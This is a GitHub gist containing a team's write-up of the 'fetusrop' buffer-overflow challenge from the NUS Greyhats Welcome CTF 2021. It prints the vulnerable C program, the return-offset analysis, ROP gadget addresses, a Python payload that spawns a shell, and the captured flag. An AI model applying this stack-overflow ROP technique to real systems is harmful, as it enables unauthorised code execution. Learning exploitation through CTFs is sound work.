Skip to content

Instantly share code, notes, and snippets.

@seanlowjk
Last active September 11, 2021 09:33
Show Gist options
  • Save seanlowjk/233ffad7123bfaeb179b685360a442d6 to your computer and use it in GitHub Desktop.
Save seanlowjk/233ffad7123bfaeb179b685360a442d6 to your computer and use it in GitHub Desktop.
NUS Greyhats Welcome CTF 2021 - fetusrop challenge

NUS Greyhats Welcome CTF 2021 - fetusrop

  • Category: Pwn (ROP)

  • Team Name: WashYourMouth

  • Team Members:

    • Chua Jia Cheng, Jon
    • Yeo Yik Hwee Ernest
    • Roby Tanama
    • Low Jun Kai, Sean

Table Of Contents

  1. Challenge
  2. Background
  3. Debugging
  4. Solution
  5. Flag

Challenge

Given a program hosted on nc challs1.nusgreyhats.org 5011, the idea is to gain access to the call stac in order to call /bin/sh such that we would be able to gain access to the flag hidden in the system.

Background

Given the code below found in fetusrop.c, we can actually learn a few things here.

#include <stdio.h>

/* gcc -no-pie -fno-stack-protector ./fetusrop.c -o fetusrop */
void win(int a, int b)
{
    if (a == 0xcafe && b == 0x1337)
        system("/bin/bash");
}

int main(){
    char buf[32];
    gets(buf);
    return 0;
}
  1. no-pie flag tells gcc, the c compiler, not to make a position independent executable, where the binary and dependencies do not get inserted into a random location of the virtual memory every time it is run.

  2. -fno-stack-protector disables the stack smashing protector, where stack overflow is allowed to execute as a result.

  3. gets function is used, which does not protect against buffer overflow, which is dangerous as it works under the assumption that the user will always insert valid input. In this case, insert a string with <= 32 characters.

  4. win functions contains a system syscall which calls bash, which provides us a gateway to perform bad behavior onto the system.

With these, we can start to plan our attack.

Debugging

We will try to perform our initial test runs

SEGFAULT Deriviation

Segfault Error

The first idea was to find the original return address such that we can understand where to start executing 'unwanted instructions' to start our attack.

It seemed that 32 + 1 characters didn't cause any segmentation fault, which is due to access an invalid memory address.

After inserting 32 + 8 + 1 characters, it finally caused a SEGFAULT. This suggests that the return address is located on buf+40

Stack With 1 Character Input

Stack With 41 Characters Input

This is verified by using gdb with the peda plugin, as the return address at buf+40 gets overriden.

General Purpose Registers

General Purpose Registers (GPR) are used to store temporary data, such as arguments for a function call.

void win(int a, int b)
{
    if (a == 0xcafe && b == 0x1337)
        system("/bin/bash");
}

In order to execute win, we would need to override the GPRs of rdi and rsi, which corresponds to holding the temporary values for the arguments a and b respectively. This is because rdi and rsi are commonly used to store the first two arguments for a function call.

Addresses

to be able to override the values stored in registers rdi and rsi, we would need some ropgadgets as a result.

ROP Gadgets Addresses

With this, we can make use of these 2 gadgets to override the values stored in registers rdi and rsi.

Function win address

Also, we would need to access the address of function win

Solution

We would use pyhon to derive a script to launch our attack.

def pack64(n):
	s = ""
	while n:
		s += chr(n % 0x100)
		n = n / 0x100
	s = s.ljust(8, "\x00")
	return s

The function pack64 helps us ensure that the commands / data that we enter are 8 byte-aligned, This is because our addresses in the stack are in multiples of 8.

With this, we can execute our attack.

# Constants 
win_addr = 0x00400537

# ropgadgets 
pop_rdi_ret         = 0x004005f3
pop_rsi_pop_r15_ret = 0x004005f1 
pop_rdx_ret_libc    = None 

payload = "\x00" * 40
payload += pack64(pop_rdi_ret)                 # pop rdi; ret
payload += pack64(0xcafe)          	           # value of a 
payload += pack64(pop_rsi_pop_r15_ret)         # pop rsi; pop r15; ret
payload += pack64(0x1337)                      # value of b 
payload += pack64(0x0)                         # dummy argument 
payload += pack64(win_addr)                    # win function address 

print(payload)

We would be injecting our payload into the binary executable such that we would get access to win function and it executes with the correct arguments supplied, in this case where a == 0xcafe && b == 0x1337

Printing to tmp file

We would print the payload to a temporary file at /tmp/fetusrop

First Execution

Following which, pass the payload to the executable. However, it immediately exists after executing. As a result, we would NOT want to finish execution immediately and stall and wait for input.

As a result, what we can do is to call cat without any commands, as the shell would wait for inputs from the keyword until it receives an end-of-file (EOF) signal.

Successful Local Execution

As a result, we are able to pass bash commandss.

Scuccessful Remote Execution

When we try it on the remote server, we can then get access to the files in the system via ls and simply printing out the contents of flag.txt using cat

Flag

greyhats{y0ur_pwn_j0urn3y_b3g1ns_982h89h}

@Deunitato
Copy link

great write up

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment